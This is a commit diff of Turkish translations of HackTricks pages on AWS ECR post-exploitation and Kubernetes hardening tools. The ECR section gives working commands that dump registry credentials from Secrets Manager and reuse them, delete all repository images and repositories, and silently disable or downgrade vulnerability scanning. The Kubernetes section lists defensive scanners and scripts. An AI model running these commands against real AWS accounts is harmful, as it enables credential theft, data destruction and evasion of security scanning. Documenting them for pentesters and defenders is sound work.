Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har

This commit is contained in:
Translator
2025-12-17 10:17:45 +00:00
parent 8c1d2bdab2
commit 26b85c7b7c
2 changed files with 177 additions and 73 deletions

View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Görüntüleri indirdikten sonra **hassas bilgiler için kontrol etmelisiniz**:
Görüntüleri indirdikten sonra **hassas bilgiler ısından kontrol etmelisiniz**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Bu izinlerden herhangi birine sahip bir saldırgan **depo içindeki tüm görüntüleri silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm container görüntülerinin kaybına yol açar.
Bu izinlerden herhangi birine sahip bir saldırgan **depo içindeki tüm görüntüleri silmek için bir lifecycle policy oluşturabilir veya mevcut bir lifecycle policy'yi değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm container görüntülerinin kaybına yol açar.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -92,19 +92,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i
```
### Exfiltrate upstream registry credentials from ECR PullThrough Cache (PTC)
Eğer ECR PullThrough Cache kimlik doğrulamalı upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream credentials AWS Secrets Manager'da öngörülebilir bir ad önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR admins'e geniş Secrets Manager okuma izni verir; bu da credential exfiltration ve AWS dışındaki yeniden kullanımını mümkün kılar.
Eğer ECR PullThrough Cache kimlik doğrulamalı upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream credentials AWS Secrets Manager içinde öngörülebilir bir isim önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu da credential exfiltration ve AWS dışında yeniden kullanımına olanak tanır.
Gereksinimler
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Aday PTC secrets'lerini listele
PTC için aday secrets'leri listele
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Keşfedilen secrets'i dök ve ortak alanları ayrıştır
Keşfedilen gizli bilgileri dök ve ortak alanları ayrıştır
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
İsteğe bağlı: leaked creds'i upstream'a karşı doğrulayın (readonly login)
İsteğe bağlı: leaked creds'i upstream'e karşı doğrula (readonly login)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impact
- Secrets Manager girişlerinin okunması, yeniden kullanılabilir upstream registry kimlik bilgileri (username/password or token) sağlar; bunlar AWS dışında private image'ları çekmek veya upstream izinlere bağlı olarak ek repository'lere erişmek için kötüye kullanılabilir.
Etkisi
- Bu Secrets Manager girdilerinin okunması, yeniden kullanılabilir upstream registry kimlik bilgileri (kullanıcı adı/parola veya token) sağlar; bu bilgiler AWS dışında özel image'ları çekmek veya upstream izinlerine bağlı olarak ek depolara erişmek için kötüye kullanılabilir.
### Registry düzeyinde gizlenme: `ecr:PutRegistryScanningConfiguration` ile taramayı devre dışı bırakma veya düşürme
### Registry-level stealth: taramayı `ecr:PutRegistryScanningConfiguration` ile devre dışı bırakma veya düşürme
Registry düzeyinde ECR izinlerine sahip bir saldırgan, registry tarama yapılandırmasını BASIC olarak ayarlayıp herhangi bir scan-on-push kuralı eklemeden, TÜM repository'ler için otomatik zafiyet taramalarını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engelleyerek zafiyetli veya kötü amaçlı image'ları gizler.
Registry düzeyinde ECR izinlerine sahip bir saldırgan, registry tarama yapılandırmasını herhangi bir scan-on-push kuralı olmadan BASIC olarak ayarlayarak TÜM depolar için otomatik zafiyet taramasını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engeller ve zayıf veya kötü amaçlı image'ları gizler.
Requirements
Gereksinimler
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, perrepo)
- ecr:PutImageScanningConfiguration (isteğe bağlı, depo başına)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (doğrulama)
Registry-wide downgrade to manual (no auto scans)
Registry genelinde manuel moda düşürme (otomatik tarama yok)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
İsteğe bağlı: repo kapsamı düzeyinde yetkileri daha da düşürme
İsteğe bağlı: repo kapsamı düzeyinde daha fazla yetki düşürme
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Etkisi
- Kayıt genelinde yeni image push'ları otomatik olarak taranmıyor; bu, zafiyetli veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespiti manuel bir tarama başlatılana kadar geciktirir.
- Registry genelindeki yeni image push'ları otomatik olarak taranmaz; bu, zafiyetli veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespiti manuel bir tarama başlatılana kadar geciktirir.
### Kayıt genelinde tarama motorunun `ecr:PutAccountSetting` ile düşürülmesi (AWS_NATIVE -> CLAIR)
### Registrywide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Varsayılan AWS_NATIVE'den eski CLAIR motoruna geçerek tüm kayıt genelinde zafiyet tespiti kalitesini düşürün. Bu taramayı devre dışı bırakmaz ancak bulguları ve kapsamı önemli ölçüde değiştirebilir. Taramaları yalnızca manuel hale getirmek için kuralsız bir BASIC registry scanning configuration ile birleştirin.
Varsayılan AWS_NATIVE'den eski CLAIR motoruna BASIC tarama motorunu geçirerek tüm registry'de zafiyet tespiti kalitesini düşürün. Bu taramaları devre dışı bırakmaz ancak bulgular/kaplama üzerinde önemli değişikliklere yol açabilir. Taramaları yalnızca manuel yapmak için kural içermeyen bir BASIC registry tarama yapılandırması ile birleştirin.
Gereksinimler
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (İsteğe bağlı) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
- (Opsiyonel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Etkisi
- Kayıt ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramaları düşürülmüş motorla çalışır. CloudTrail `PutAccountSetting` API çağrısını kaydeder.
- Registry ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramalar düşürülmüş motorla çalışır. CloudTrail, `PutAccountSetting` API çağrısını kaydeder.
Adımlar
```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### ECR görüntülerini güvenlik açıkları için tara
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Kubernetes Sertleştirme
# Kubernetes Hardening
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
Kubernetes kümesi üzerinde **birkaç uyumluluk kontrolü** yapar. CIS, National Security Agency (NSA) ve Cybersecurity and Infrastructure Security Agency (CISA) tarafından Kubernetes sertleştirmesi için hazırlanmış siber güvenlik teknik raporlarını destekler.
Bu, Kubernetes kümesi üzerinde bir dizi uyumluluk kontrolü gerçekleştirir. CIS, National Security Agency (NSA) ve Cybersecurity and Infrastructure Security Agency (CISA) tarafından yayınlanan Kubernetes hardening ile ilgili siber güvenlik teknik raporlarını destekler.
```bash
# Install Steampipe
brew install turbot/tap/powerpipe
@@ -27,30 +27,30 @@ powerpipe server
```
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) risk analizi, güvenlik uyumluluğu, RBAC görselleştirici ve image zafiyet taraması da dahil olmak üzere çoklu bulut K8s için tek bir görünüm sağlayan açık kaynaklı bir K8s aracıdır. Kubescape, K8s cluster'larını, YAML dosyalarını ve HELM chart'larını tarar, (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)) gibi birden çok framework'e göre yanlış yapılandırmaları, yazılım zafiyetlerini ve CI/CD pipeline'ın erken aşamalarındaki RBAC (role-based-access-control) ihlallerini tespit eder, risk skorunu anında hesaplar ve zaman içindeki risk eğilimlerini gösterir.
[**Kubescape**](https://github.com/armosec/kubescape) , risk analizi, güvenlik uyumluluğu, RBAC görselleştiricisi ve image vulnerabilities scanning gibi özellikleri içeren multi-cloud K8s için tek bir yönetim paneli sağlayan açık kaynaklı bir K8s aracıdır. Kubescape, K8s clusters, YAML dosyalarını ve HELM charts'larını tarar; çoklu frameworklere (ör. [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)) göre yanlış yapılandırmaları, yazılım zafiyetlerini ve CI/CD hattının erken aşamalarında RBAC (role-based-access-control) ihlallerini tespit eder, risk puanını anında hesaplar ve zaman içindeki risk trendlerini gösterir.
```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose
```
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) canlı bir Kubernetes cluster'ını tarayan ve **dağıtılan kaynaklar ve yapılandırmalarla ilgili potansiyel sorunları raporlayan** bir yardımcı programdır. Kümenizi diskte ne olduğuna değil, dağıtılmış olanlara göre temizler. Kümenizi tarayarak yanlış yapılandırmaları tespit eder ve en iyi uygulamaların uygulanmasını sağlamanıza yardımcı olur; böylece gelecekteki sorunları önler. Bir Kubernetes kümesini sahada işletirken karşılaşılan bilişsel \_over_load'u azaltmayı hedefler. Ayrıca, kümeniz metric-server kullanıyorsa, olası kaynak fazla/az tahsislerini bildirir ve kümeniz kapasite tükenirse sizi uyarmaya çalışır.
[**Popeye**](https://github.com/derailed/popeye) canlı Kubernetes cluster'ını tarayan ve konuşlandırılmış kaynaklar ve yapılandırmalarla ilgili potansiyel sorunları **raporlayan** bir yardımcı araçtır. Cluster'ınızı diskte duranlardan değil, gerçekten deploy edilmiş olanlardan hareketle temizler. Cluster'ınızı tarayarak yanlış yapılandırmaları tespit eder ve en iyi uygulamaların yerinde olmasını sağlamanıza yardımcı olur; böylece gelecekteki sorunları önler. Amaç, sahada bir Kubernetes cluster'ını işletirken karşılaşılan bilişsel \_over_load'u azaltmaktır. Ayrıca, cluster'ınız metric-server kullanıyorsa, olası kaynak fazla/eksik tahsislerini raporlar ve cluster'ınız kapasiteyi tüketirse sizi uyarmaya çalışır.
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
Araç [**kube-bench**](https://github.com/aquasecurity/kube-bench), Kubernetes'in [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/)te belgelenen kontrolleri çalıştırarak güvenli bir şekilde dağıtılıp dağıtılmadığını denetleyen bir araçtır.\
Şunlardan birini seçebilirsiniz:
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
You can choose to:
- kube-bench'i bir container içinde çalıştırmak (host ile PID namespace paylaşımıyla)
- kube-bench'i host'a kuran bir container çalıştırmak ve ardından kube-bench'i doğrudan host üzerinde çalıştırmak
- en son binary'leri [Releases page](https://github.com/aquasecurity/kube-bench/releases) sayfasından kurmak,
- kaynaktan derlemek.
- run kube-bench from inside a container (sharing PID namespace with the host)
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile it from source.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[DEPRECATED]** Araç [**kubeaudit**](https://github.com/Shopify/kubeaudit), çeşitli güvenlik konuları için **Kubernetes kümelerini denetlemek** üzere kullanılan bir komut satırı aracı ve bir Go paketidir.
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
Kubeaudit kendisinin bir cluster içindeki bir container içinde çalışıp çalışmadığını tespit edebilir. Eğer öyleyse, o cluster'daki tüm Kubernetes kaynaklarını denetlemeye çalışacaktır:
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
```
kubeaudit all
```
@@ -58,65 +58,65 @@ Bu araç ayrıca tespit edilen sorunları **otomatik olarak düzeltmek** için `
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[DEPRECATED]** Araç [**kube-hunter**](https://github.com/aquasecurity/kube-hunter), Kubernetes kümelerindeki güvenlik zayıflıklarını araştırır. Araç, Kubernetes ortamlarındaki güvenlik sorunları konusunda farkındalık ve görünürlük sağlamak amacıyla geliştirilmiştir.
**[KULLANIMDIŞI]** Araç [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) Kubernetes kümelerindeki güvenlik zayıflıklarını tespit eder. Araç, Kubernetes ortamlarındaki güvenlik sorunları hakkında farkındalığı ve görünürlüğü artırmak için geliştirilmiştir.
```bash
kube-hunter --remote some.node.com
```
### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) güvenlik sorunlarını arayan tarayıcılara sahiptir ve bu sorunları bulabileceği hedefler şunlardır:
[Trivy](https://github.com/aquasecurity/trivy), güvenlik sorunlarını arayan tarayıcılara sahiptir ve bu sorunları bulabileceği hedefler şunlardır:
- Container görüntüsü
- Container imajı
- Dosya sistemi
- Git deposu (uzak)
- Sanal makine görüntüsü
- Git Deposu (uzaktan)
- Sanal Makine İmajı
- Kubernetes
### [**Kubei**](https://github.com/Erezf-p/kubei)
**[Bakımı yapılmıyor gibi görünüyor]**
[**Görünüşe göre bakımı yapılmıyor**]
[**Kubei**](https://github.com/Erezf-p/kubei) kullanıcılara kubernetes kümelerinin doğru ve anlık bir risk değerlendirmesini almasını sağlayan bir zafiyet tarama ve CIS Docker benchmark aracıdır. Kubei, uygulama pod'larının ve sistem pod'larının imajları dahil olmak üzere bir Kubernetes kümesinde kullanılan tüm imajları tarar.
[**Kubei**](https://github.com/Erezf-p/kubei), kullanıcıların kubernetes kümelerinin doğru ve anlık risk değerlendirmesini almasını sağlayan bir zafiyet tarama ve CIS Docker kıyaslama aracıdır. Kubei, bir Kubernetes kümesinde kullanılan tüm imajları tarar; buna uygulama pod'larının ve sistem pod'larının imajları dahildir.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) Kubernetes'in Role-based access control (RBAC) yetkilendirme modelindeki riskli izinleri taramak için bir araçtır.
[**KubiScan**](https://github.com/cyberark/KubiScan), Kubernetes'in Role-based access control (RBAC) yetkilendirme modelinde riskli izinleri taramak için kullanılan bir araçtır.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) diğer araçlarla karşılaştırıldığında farklı türde yüksek riskli kontrolleri test etmek için oluşturulmuş bir araçtır. Temelde 3 farklı moda sahiptir:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit), diğer araçlarla karşılaştırıldığında farklı tipte yüksek riskli kontrolleri test etmek için oluşturulmuş bir araçtır. Temelde 3 farklı moda sahiptir:
- **`find-role-relationships`**: Hangi AWS rollerinin hangi pod'larda çalıştığını bulur
- **`find-secrets`**: Pod'lar, ConfigMaps ve Secrets gibi K8s kaynaklarındaki secret'ları tanımlamaya çalışır.
- **`test-imds-access`**: Pod'ları çalıştırmayı ve metadata v1 ile v2'ye erişmeyi deneyecektir. UYARI: Bu, kümede bir pod çalıştıracaktır; çok dikkatli olun çünkü bunu yapmak istemeyebilirsiniz!
- **`find-secrets`**: Pod'lar, ConfigMaps ve Secrets gibi K8s kaynaklarında gizli bilgileri tanımlamaya çalışır.
- **`test-imds-access`**: Pod'lar çalıştırıp metadata v1 ve v2'ye erişmeye çalışır. UYARI: Bu, cluster içinde bir pod çalıştıracaktır; çok dikkatli olun çünkü bunu yapmak istemeyebilirsiniz!
## **IaC Kodunu Denetle**
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) aşağıdaki **Infrastructure as Code çözümlerinde** **güvenlik açıklarını**, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulur: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM ve OpenAPI 3.0 spesifikasyonları
[**KICS**](https://github.com/Checkmarx/kics), aşağıdaki Infrastructure as Code çözümlerinde güvenlik zafiyetlerini, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulur: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM ve OpenAPI 3.0 spesifikasyonları
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) infrastructure-as-code için bir statik kod analizi aracıdır.
[**Checkov**](https://github.com/bridgecrewio/checkov), infrastructure-as-code için statik kod analiz aracıdır.
[Terraform](https://terraform.io), Terraform planı, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) veya [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) kullanılarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
[Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) veya [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) kullanılarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) Kubernetes nesne tanımlarınızın statik kod analizini gerçekleştiren bir araçtır.
[**kube-score**](https://github.com/zegl/kube-score), Kubernetes nesne tanımlarınızın statik kod analizini yapan bir araçtır.
Kurulum:
To install:
| Dağıtım | Komut / Bağlantı |
| --------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| macOS, Linux ve Windows için önceden derlenmiş ikili dosyalar | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Dağıtım | Komut / Bağlantı |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
## YAML dosyalarını ve Helm Charts'ı analiz etmek için araçlar
## Tools to analyze YAML files & Helm Charts
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
```bash
@@ -162,11 +162,83 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan -
```
## Scan bağımlılık sorunları
### Scan imajlar
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Helm charts'larını tara
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## İpuçları
### Kubernetes PodSecurityContext ve SecurityContext
### Kubernetes PodSecurityContext and SecurityContext
Pod'ların **security context'ini** ( _PodSecurityContext_ ile) ve çalıştırılacak **konteynerlerin** **security context'ini** ( _SecurityContext_ ile) yapılandırabilirsiniz. Daha fazla bilgi için okuyun:
Pod'ların **güvenlik bağlamını** (with _PodSecurityContext_) ve çalıştırılacak **container'ların** **güvenlik bağlamını** (with _SecurityContext_) yapılandırabilirsiniz. Daha fazla bilgi için şu kaynağa bakın:
{{#ref}}
kubernetes-securitycontext-s.md
@@ -174,29 +246,29 @@ kubernetes-securitycontext-s.md
### Kubernetes API Sertleştirme
Kubernetes Api Server erişimini korumak çok önemlidir; yeterli ayrıcalığa sahip kötü niyetli bir aktör bunu kötüye kullanarak ortama birçok şekilde zarar verebilir.\
Hem **erişimi** (API Server'a erişim için originleri **whitelist** yapıp diğer bağlantıları reddetmek) hem de [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) güvence altına alınmalıdır ( **least** **privilege** ilkesine uygun olarak). Ve kesinlikle **asla** **anonim** **isteklere** izin vermeyin.
Kubernetes Api Server erişimini korumak çok önemlidir; yeterli ayrıcalığa sahip kötü niyetli bir aktör bunu suistimal edebilir ve ortama birçok şekilde zarar verebilir.\
Hem **erişimi** (API Server'a erişim için kökenleri **whitelist** yapıp diğer bağlantıları reddetmek) hem de [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (en az ayrıcalık ilkesini takip ederek) güvence altına almak önemlidir. Ve kesinlikle **anonim** **isteklere** **asla** izin vermeyin.
**Ortak İstek süreci:**\
**Yaygın İstek süreci:**\
Kullanıcı veya K8s ServiceAccount > Authentication > Authorization > Admission Control.
**İpuçları**:
- Portları kapatın.
- Anonim erişimden kaçının.
- NodeRestriction; belirli node'lardan API'ye erişimi engeller.
- NodeRestriction; belirli node'lardan API'ye erişimi engelleyin.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Temelde kubelet'lerin node-restriction.kubernetes.io/ önekiyle etiket eklemesini/kaldırmasını/güncellemesini engeller. Bu etiket öneki, yöneticilerin Node nesnelerini iş yükü izolasyonu amaçlarıyla etiketlemeleri için ayrılmıştır ve kubelet'lerin bu önekle etiketleri değiştirmesine izin verilmeyecektir.
- Ve ayrıca, kubelet'lerin bu etiketleri ve etiket öneklerini ekleyip/kaldırıp/güncellemesine izin verir.
- Etiketlerle güvenli iş yükü izolasyonunu sağlayın.
- Temelde kubelet'lerin node-restriction.kubernetes.io/ önekiyle başlayan label'ları eklemesini/kaldırmasını/güncellemesini engeller. Bu label öneki, yöneticilerin Node nesnelerini workload izolasyonu amacıyla etiketlemeleri için ayrılmıştır ve kubelet'lerin bu önekle başlayan label'ları değiştirmesine izin verilmeyecektir.
- Ayrıca, kubelet'lerin bu label'ları ve label öneklerini eklemesine/kaldırmasına/güncellemesine de izin verir.
- Label'larla güvenli workload izolasyonunu sağlayın.
- Belirli pod'ların API erişimini engelleyin.
- ApiServer'ın internete maruz kalmasını önleyin.
- Yetkisiz erişime karşı RBAC uygulayın.
- ApiServer portunu firewall ve IP whitelisting ile koruyun.
- ApiServer'ın internete ılmasını engelleyin.
- Yetkisiz erişimi önleyin (RBAC).
- ApiServer portunu firewall ve IP whitelist ile koruyun.
### SecurityContext Sertleştirme
Varsayılan olarak, başka bir kullanıcı belirtilmemişse bir Pod başlatıldığında root kullanıcısı kullanılır. Uygulamanızı aşağıdakine benzer bir şablon kullanarak daha güvenli bir context içinde çalıştırabilirsiniz:
Varsayılan olarak, başka bir kullanıcı belirtilmemişse bir Pod başlatıldığında root kullanıcı kullanılır. Uygulamanızı aşağıdakine benzer bir şablon kullanarak daha güvenli bir bağlamda çalıştırabilirsiniz:
```yaml
apiVersion: v1
kind: Pod
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### Genel Sertleştirme
### Genel Hardening
Kubernetes ortamınızı aşağıdakilere sahip olacak şekilde gerektiği sıklıkta güncellemelisiniz:
Kubernetes ortamınızı aşağıdakileri sağlamak için gerektiği kadar sık güncellemelisiniz:
- Bağımlılıkların güncel olması.
- Hata ve güvenlik yamaları.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Her 3 ayda bir yeni bir minor release yayımlanır -- 1.20.3 = 1(Major).20(Minor).3(patch)
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Her 3 ayda yeni bir minor sürüm çıkar -- 1.20.3 = 1(Major).20(Minor).3(patch)
**Bir Kubernetes Cluster'ını güncellemenin en iyi yolu (kaynak olarak** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Kubernetes Cluster'ı güncellemenin en iyi yolu (kaynak olarak** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Master Node bileşenlerini şu sırayla yükseltin:
- etcd (tüm örnekler).
- kube-apiserver (tüm kontrol düzlemi host'ları).
- kube-apiserver (tüm control plane host'ları).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager (kullanıyorsanız).
